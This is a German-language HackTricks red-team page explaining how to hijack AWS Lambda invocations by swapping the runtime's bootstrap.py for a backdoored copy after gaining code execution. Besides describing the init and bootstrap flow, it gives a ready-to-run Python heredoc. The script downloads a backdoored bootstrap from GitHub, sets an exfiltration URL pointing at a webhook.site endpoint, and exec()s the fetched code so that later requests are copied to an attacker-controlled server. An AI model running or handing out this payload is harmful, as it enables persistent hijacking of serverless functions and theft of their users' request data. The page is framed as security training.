AWS - Lambda-Anfragen stehlen

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Lambda-Flow

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer ist ein Prozess außerhalb des Containers, der Aufrufe an den Init-Prozess sendet.
  2. Der Init-Prozess hört auf Port 9001 und exponiert einige interessante Endpunkte:
  • /2018-06-01/runtime/invocation/next – den nächsten Aufrufereignis abrufen
  • /2018-06-01/runtime/invocation/{invoke-id}/response – die Handler-Antwort für den Aufruf zurückgeben
  • /2018-06-01/runtime/invocation/{invoke-id}/error – einen Ausführungsfehler zurückgeben
  1. bootstrap.py hat eine Schleife, die Aufrufe vom Init-Prozess erhält und den Benutzer-Code aufruft, um sie zu verarbeiten (/next).
  2. Schließlich sendet bootstrap.py die Antwort an Init.

Beachten Sie, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet.

Stehlen von Lambda-Anfragen

Ziel dieses Angriffs ist es, den Benutzer-Code einen bösartigen bootstrap.py-Prozess innerhalb des bootstrap.py-Prozesses ausführen zu lassen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der bösartige Bootstrap-Prozess beginnen, mit dem Init-Prozess zu kommunizieren, um die Anfragen zu bearbeiten, während der legitime Bootstrap gefangen ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.

Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen bootstrap.py-Prozess ausgeführt wird. Der Angreifer könnte also:

  • Ein gefälschtes Ergebnis des aktuellen Aufrufs an den Init-Prozess senden, sodass Init denkt, der Bootstrap-Prozess wartet auf weitere Aufrufe.
  • Eine Anfrage muss an /${invoke-id}/response gesendet werden.
  • Die invoke-id kann vom Stack des legitimen bootstrap.py-Prozesses mit dem inspect Python-Modul (wie hier vorgeschlagen) oder einfach erneut an /2018-06-01/runtime/invocation/next angefordert werden (wie hier vorgeschlagen).
  • Einen bösartigen bootstrap.py ausführen, der die nächsten Aufrufe verarbeitet.
  • Aus Gründen der Heimlichkeit ist es möglich, die Lambda-Aufrufparameter an ein vom Angreifer kontrolliertes C2 zu senden und die Anfragen dann wie gewohnt zu bearbeiten.
  • Für diesen Angriff reicht es aus, den ursprünglichen Code von bootstrap.py vom System oder github zu erhalten, den bösartigen Code hinzuzufügen und ihn aus dem aktuellen Lambda-Aufruf auszuführen.

Angriffs Schritte

  1. Eine RCE-Schwachstelle finden.
  2. Einen bösartigen Bootstrap generieren (z.B. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
  3. Führen Sie den bösartigen Bootstrap aus.

Sie können diese Aktionen einfach ausführen, indem Sie:

bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Für weitere Informationen siehe https://github.com/carlospolop/lambda_bootstrap_switcher

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks